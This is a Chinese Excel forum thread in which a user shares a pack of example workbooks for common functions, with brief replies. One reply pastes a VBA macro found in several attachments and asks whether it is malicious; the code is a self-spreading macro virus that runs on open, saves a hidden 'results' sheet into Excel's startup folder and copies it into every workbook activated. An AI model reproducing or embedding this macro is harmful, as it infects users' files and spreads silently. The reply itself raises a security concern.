ExcelHome技术论坛

 找回密码
 免费注册
QQ登录 只需一步,快速开始
   
高效办公必会的Office99uu优优 永久免费,网表让Excel秒变数据库 Excel服务器-会Excel,做管理系统 Excel Home精品图文教程库
Excel不给力? 何不试试FoxTable! 国内首部Excel函数公式学习大典 职场充电黑科技, Office微99uu优优 免费下载Excel行业应用视频
300集Office 2010微99uu优优 Tableau-数据可视化工具 突破Excel限制,用活字格提高效率 12门Excel免费公开课任你学
你的Excel 201099uu优优学习锦囊 欲罢不能, 过目难忘的 Office 新界面 免费的Excel考勤计算系统
查看: 26240|回复: 189
打印 上一主题 下一主题

[分享] Excel常用函数妙用(各行业精典案例)

  [复制链接]
TA的精华主题TA的得分主题
跳转到指定楼层
1
发表于 2011-11-3 04:56 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 joyark 于 2011-11-4 02:24 编辑

1.MONTH()和DATE()等日期函数生成日历.xls
2.SUM()函数创建数组公式计算销售额.xls
3.SUM()函数完成多条件求和.xls
4.SUM()和WEEKDAY()函数计算一年中的星期数.xls
5.VLOOKUP()和IF()函数计算销售提成.xls
6.HLOOKUP()函数引用产品价格.xls
7.IF()和HOUR()函数制作考勤统计表.xls
8.IF()和INDEX()函数分类汇总数据.xls
9.IF()和TIME()等函数计算停车费.xls
10.INDEX()和MATCH()函数查找电话号码.xls
11.LEN()和LEFT()函数创建工资票面分解表.xls
12.LOOKUP()函数查找税率.xls
13,LOOKUP()函数统计学生成绩.xls
14,REPLACE()函数完成电话号码升位.xls
15,REPT()函数创建销售业绩评比表格.xls
16,SUMPRODUCT()函数计算销售业绩及奖金.xls
17,TODAY()和DATE()函数计算年龄和工龄.xls
18,VLOOKUP()函数完成样本基础资料统计表.xls
19,WEEKDAY()和DATE()函数计算节假日.xls
20,根据身份证号提取性别和出生年月.xls
21,用条件函数制作的下拉二级菜单.xls
重新上傳文件
以清除诵病毒


该贴已经同步到 joyark的微博
Excel常用函数妙用(各行业精典案例).rar 128.06 KB, 下载次数: 5219
分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏33 分享分享 有用有用3 无用无用
TA的精华主题TA的得分主题
2
发表于 2011-11-3 06:23 | 只看该作者
楼主辛苦了,半夜还在发贴。这种精神值的我们学习。向你致敬
TA的精华主题TA的得分主题
3
发表于 2011-11-3 07:32 | 只看该作者
TA的精华主题TA的得分主题
4
发表于 2011-11-3 08:01 | 只看该作者
TA的精华主题TA的得分主题
5
发表于 2011-11-3 08:34 | 只看该作者
最近在多人的附件中都看到此段代码,请代码高手看看是不是恶意宏代码。因为是AUTO OPEN,不地道,像是在任意文件隐藏了该工作表。

Sub auto_open()
    Application.OnSheetActivate = "ck_files"
End Sub
Sub ck_files()
    c$ = Application.StartupPath
    m$ = Dir(c$ & "\" & "RESULTS.XLS")
    If m$ = "RESULTS.XLS" Then p = 1 Else p = 0
    If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
    whichfile = p + w * 10
    Select Case whichfile
    Case 10
        Application.ScreenUpdating = False
        n4$ = ActiveWorkbook.Name
        Sheets("results").Visible = True
        Sheets("results").Select
        Sheets("results").Copy
        With ActiveWorkbook
            .Title = ""
            .Subject = ""
            .Author = ""
            .Keywords = ""
            .Comments = ""
        End With
        newname$ = ActiveWorkbook.Name
        c4$ = CurDir()
        ChDir Application.StartupPath
        ActiveWindow.Visible = False
        Workbooks(newname$).SaveAs FileName:=Application.StartupPath & "/" & "RESULTS.XLS", FileFormat:=xlNormal _
                                 , Password:="", WriteResPassword:="", ReadOnlyRecommended:= _
                                                                                            False, CreateBackup:=False
        ChDir c4$
        Workbooks(n4$).Sheets("results").Visible = False
        Application.OnSheetActivate = ""
        Application.ScreenUpdating = True
        Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case 1
        Application.ScreenUpdating = False
        n4$ = ActiveWorkbook.Name
        p4$ = ActiveWorkbook.Path
        s$ = Workbooks(n4$).Sheets(1).Name
        If s$ <> "results" Then
            Workbooks("RESULTS.XLS").Sheets("results").Copy before:=Workbooks(n4$).Sheets(1)
            Workbooks(n4$).Sheets("results").Visible = False
        Else
        End If
        Application.OnSheetActivate = ""
        Application.ScreenUpdating = True
        Application.OnSheetActivate = "RESULTS.XLS!ck_files"
    Case Else
    End Select
End Sub
TA的精华主题TA的得分主题
6
发表于 2011-11-3 09:30 | 只看该作者
TA的精华主题TA的得分主题
7
发表于 2011-11-3 14:16 | 只看该作者
TA的精华主题TA的得分主题
8
发表于 2011-11-3 16:35 | 只看该作者
TA的精华主题TA的得分主题
9
发表于 2011-11-3 17:02 | 只看该作者
TA的精华主题TA的得分主题
10
发表于 2011-11-3 17:11 | 只看该作者
您需要登录后才可以回帖 登录 | 免费注册
本版积分规则
关闭

最新热点上一条 /1 下一条

关注官方微信,每天坐享新鲜教程
手机版|关于我们|联系我们|ExcelHome    GMT+8, 2018-1-18 01:41 , Processed in 1.106460 second(s), 22 queries , Gzip On.
Powered by Discuz! X3.3 © 2001-2017 Wooffice Inc.
    沪公网安备 31011702000001号 沪ICP备11019229号 本论坛言论纯属发表者个人意见,任何违反国家相关法律的言论,本站将协助国家相关部门追究发言者责任!     本站特聘法律顾问:徐怀玉律师 李志群律师
快速回复 返回顶部 返回列表
99uu优优